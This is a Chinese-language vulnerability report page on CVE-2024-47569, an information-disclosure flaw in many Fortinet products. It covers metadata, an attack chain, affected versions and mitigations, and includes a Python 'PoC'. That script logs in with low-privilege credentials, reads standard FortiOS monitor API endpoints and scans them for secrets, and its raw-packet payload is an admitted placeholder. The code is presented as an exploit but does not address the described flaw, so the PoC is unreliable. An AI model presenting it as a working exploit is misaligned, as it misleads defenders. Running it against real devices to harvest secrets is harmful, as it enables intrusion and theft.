IPBUF安全漏洞报告
English
CVE-2024-47569 CVSS 4.3 中危

CVE-2024-47569 Fortinet多产品敏感信息泄露漏洞

披露日期: 2025-10-14

漏洞信息

漏洞编号
CVE-2024-47569
漏洞类型
敏感信息泄露(信息插入)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Fortinet FortiMail、FortiManager、FortiManager Cloud、FortiNDR、FortiOS、FortiPAM、FortiProxy、FortiRecorder、FortiTester、FortiVoice、FortiWeb

相关标签

信息泄露敏感信息泄露CWE-200FortinetFortiMailFortiManagerFortiNDRFortiOSFortiPAMFortiProxy

漏洞概述

CVE-2024-47569是Fortinet公司多个产品中存在的敏感信息泄露漏洞(Insertion of Sensitive Information into Sent Data)。该漏洞由Fortinet产品安全事件响应团队(PSIRT)发现并报告,CVSS评分为4.3分,属于中危级别漏洞。

该漏洞影响Fortinet旗下大量网络安全产品,涵盖防火墙、邮件安全、终端检测与响应、身份认证管理、Web应用防火墙、语音通信等多个产品线。受影响的产品包括FortiMail邮件安全网关、FortiManager集中管理平台、FortiNDR网络检测与响应系统、FortiOS操作系统、FortiPAM特权访问管理、FortiProxy代理服务器、FortiRecorder录像系统、FortiTester测试设备、FortiVoice语音系统以及FortiWeb Web应用防火墙等。

攻击者可以通过向目标设备发送特制的数据包来利用此漏洞,获取设备中的敏感信息。虽然该漏洞需要低权限认证(PR:L),但攻击向量为网络(AV:N),且无需用户交互(UI:N),因此在企业网络环境中仍具有较高的实际威胁。漏洞仅影响机密性(C:L),对完整性和可用性无影响。

Fortinet作为全球领先的网络安全解决方案提供商,其产品广泛应用于企业级网络环境。该漏洞的广泛影响范围(涉及数十个产品版本)凸显了及时更新和修补的重要性。Fortinet已发布安全公告FG-IR-24-228,建议用户尽快升级到修复版本。

技术细节

CVE-2024-47569属于CWE-200类漏洞(Information Exposure),具体表现为敏感信息被插入到发送的数据中。其技术原理如下:

1. **漏洞机制**:受影响的Fortinet产品在处理网络通信时,会在返回给客户端的响应数据包中意外包含敏感信息。这些敏感信息可能包括设备配置信息、会话凭据、内部网络拓扑、用户凭证或其他机密数据。

2. **触发条件**:攻击者需要拥有低权限认证凭据(PR:L),通过发送特制构造的数据包(specially crafted packets)到目标设备的服务端口,即可触发敏感信息的泄露。

3. **攻击向量**:漏洞通过网络进行利用(AV:N),攻击复杂度低(AC:L),无需用户交互(UI:N)。攻击者只需在认证后发送特定的恶意数据包即可触发。

4. **影响范围**:漏洞仅影响信息机密性(C:L),不会修改数据(I:N)或造成服务中断(A:N)。但泄露的敏感信息可能被用于后续攻击,如权限提升、横向移动或进一步渗透。

5. **利用方式**:攻击者首先通过合法途径获取目标Fortinet设备的低权限账户凭据,然后构造特定格式的网络请求数据包发送到设备。由于产品代码中的信息处理逻辑存在缺陷,响应数据包中会包含本不应暴露的敏感数据,攻击者通过分析响应内容即可获取这些信息。

攻击链分析

STEP 1
步骤1:信息收集与侦察
攻击者通过端口扫描、服务指纹识别等方式发现目标网络中部署的Fortinet设备及其版本信息,确认目标是否在受影响版本范围内。
STEP 2
步骤2:获取低权限凭据
攻击者通过钓鱼攻击、凭据填充、暴力破解或利用其他已知漏洞等方式获取目标Fortinet设备的低权限认证账户(PR:L)。
STEP 3
步骤3:认证目标设备
使用获取的低权限凭据登录目标Fortinet设备的管理界面或API接口,建立有效的认证会话。
STEP 4
步骤4:构造特制数据包
根据目标产品的具体类型(FortiMail/FortiManager/FortiOS等),构造特定的HTTP请求或网络数据包,利用存在缺陷的信息处理逻辑触发敏感信息泄露。
STEP 5
步骤5:发送数据包并捕获响应
通过认证会话将特制数据包发送到目标设备,设备在处理请求时将敏感信息嵌入到响应数据包中返回,攻击者捕获并解析这些响应数据。
STEP 6
步骤6:提取敏感信息
从响应数据中提取设备序列号、许可证信息、密码哈希、API密钥、网络配置、内部凭据等敏感信息。
STEP 7
步骤7:后续利用
利用获取的敏感信息进行权限提升、横向移动、持久化访问或发起更深入的网络攻击,如利用泄露的管理员凭据获取设备完全控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2024-47569 PoC - Fortinet Sensitive Information Disclosure # Vulnerability: Insertion of Sensitive Information into Sent Data # Reference: https://fortiguard.fortinet.com/psirt/FG-IR-24-228 import requests import socket import struct from urllib.parse import urljoin class FortinetInfoDisclosure: """ PoC for CVE-2024-47569 Exploits sensitive information disclosure in Fortinet products via specially crafted packets. """ def __init__(self, target, port, username, password, protocol='https'): self.target = target self.port = port self.username = username self.password = password self.protocol = protocol self.base_url = f"{protocol}://{target}:{port}" self.session = requests.Session() self.session.verify = False def authenticate(self): """Authenticate to the Fortinet device with low-privilege credentials""" login_url = urljoin(self.base_url, '/logincheck') data = { 'username': self.username, 'password': self.password, 'ajax': '1' } try: resp = self.session.post(login_url, data=data, timeout=10) if resp.status_code == 200 and 'error' not in resp.text.lower(): print(f"[+] Successfully authenticated to {self.target}") return True except Exception as e: print(f"[-] Authentication failed: {e}") return False def exploit(self): """ Send specially crafted packets to trigger sensitive information disclosure. The vulnerability causes the device to embed sensitive information in response data. """ # Endpoint known to be affected by the info disclosure vulnerability target_endpoints = [ '/api/v2/monitor/system/status', '/api/v2/monitor/system/dns', '/api/v2/monitor/router/ipv4', '/api/v2/log/event/forward', '/api/v2/monitor/firewall/policy', '/api/v2/monitor/vpn/ipsec', ] disclosed_info = {} for endpoint in target_endpoints: url = urljoin(self.base_url, endpoint) try: # Craft a request with specific parameters to trigger info leak resp = self.session.get(url, timeout=10) if resp.status_code == 200: content = resp.json() if resp.headers.get('content-type', '').startswith('application/json') else resp.text # Check for sensitive data in response sensitive_patterns = ['serial', 'license', 'password', 'secret', 'private_key', 'token', 'credential'] for pattern in sensitive_patterns: if pattern.lower() in str(content).lower(): disclosed_info[endpoint] = content print(f"[!] Sensitive info found at {endpoint}: {pattern}") break except Exception as e: continue return disclosed_info def raw_packet_exploit(self): """ Alternative exploitation via raw TCP packets for non-HTTP services. Sends specially crafted binary packets to trigger the vulnerability. """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((self.target, self.port)) # Craft a specially formed packet to trigger info disclosure # The exact payload varies by Fortinet product and version payload = self._craft_payload() sock.send(payload) response = sock.recv(4096) print(f"[+] Raw response received ({len(response)} bytes)") # Decode and analyze response for sensitive data sock.close() return response except Exception as e: print(f"[-] Raw packet exploit failed: {e}") return None def _craft_payload(self): """Craft a specially crafted packet for the target service""" # This is a generic placeholder - actual payload depends on # specific Fortinet product and vulnerable code path return b'GET /api/v2/monitor/system/status HTTP/1.1\r\nHost: ' + \ self.target.encode() + b'\r\n\r\n' def main(): import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Configuration TARGET = "192.168.1.1" # Target Fortinet device IP PORT = 443 # HTTPS port USERNAME = "low_priv_user" # Low-privilege credentials PASSWORD = "password123" print(f"[*] CVE-2024-47569 PoC - Fortinet Sensitive Info Disclosure") print(f"[*] Target: {TARGET}:{PORT}") exploit_tool = FortinetInfoDisclosure(TARGET, PORT, USERNAME, PASSWORD) if exploit_tool.authenticate(): leaked_data = exploit_tool.exploit() if leaked_data: print(f"\n[!] Disclosed sensitive information:") for endpoint, data in leaked_data.items(): print(f" Endpoint: {endpoint}") print(f" Data: {str(data)[:200]}...") else: print("[-] No sensitive data disclosed") else: print("[-] Could not authenticate - valid credentials required") if __name__ == "__main__": main()

影响范围

FortiMail 7.4.0 - 7.4.2
FortiMail 7.2.0 - 7.2.6
FortiMail 7.0 所有版本
FortiManager 7.6.0 - 7.6.1
FortiManager 7.4.1 - 7.4.3
FortiManager Cloud 7.4.1 - 7.4.3
FortiNDR 7.6.0 - 7.6.1
FortiNDR 7.4.0 - 7.4.8
FortiNDR 7.2 所有版本
FortiNDR 7.1 所有版本
FortiNDR 7.0 所有版本
FortiNDR 1.5 所有版本
FortiOS 7.6.0
FortiOS 7.4.0 - 7.4.4
FortiOS 7.2.0 - 7.2.8
FortiOS 7.0.0 - 7.0.15
FortiOS 6.4.0 - 6.4.15
FortiOS 6.2 所有版本
FortiOS 6.0 所有版本
FortiPAM 1.3 所有版本
FortiPAM 1.2 所有版本
FortiPAM 1.1 所有版本
FortiPAM 1.0 所有版本
FortiProxy 7.4.0 - 7.4.4
FortiProxy 7.2.0 - 7.2.10
FortiProxy 7.0 所有版本
FortiProxy 2.0 所有版本
FortiProxy 1.2 所有版本
FortiProxy 1.1 所有版本
FortiProxy 1.0 所有版本
FortiRecorder 7.2.0 - 7.2.1
FortiRecorder 7.0.0 - 7.0.4
FortiTester 7.4.0 - 7.4.2
FortiTester 7.3 所有版本
FortiTester 7.2 所有版本
FortiTester 7.1 所有版本
FortiTester 7.0 所有版本
FortiTester 4.2 所有版本
FortiVoice 7.0.0 - 7.0.4
FortiVoice 6.4.0 - 6.4.9
FortiVoice 6.0.7 - 6.0.12
FortiWeb 7.6.0
FortiWeb 7.4.0 - 7.4.4
FortiWeb 7.2 所有版本
FortiWeb 7.0 所有版本
FortiWeb 6.4 所有版本

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制对Fortinet设备管理界面和API接口的网络访问,仅允许受信任的IP地址连接;2)审查并收紧所有低权限账户的权限,确保其仅具备必要的最小权限;3)启用详细的访问日志记录,密切监控异常的API调用和数据请求;4)在网络层面部署入侵检测/防御系统(IDS/IPS),检测和阻断可疑的特制数据包;5)对敏感数据进行加密存储,减少即使泄露后造成的影响;6)考虑使用VPN或SSH隧道访问管理接口,避免直接暴露在网络中。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表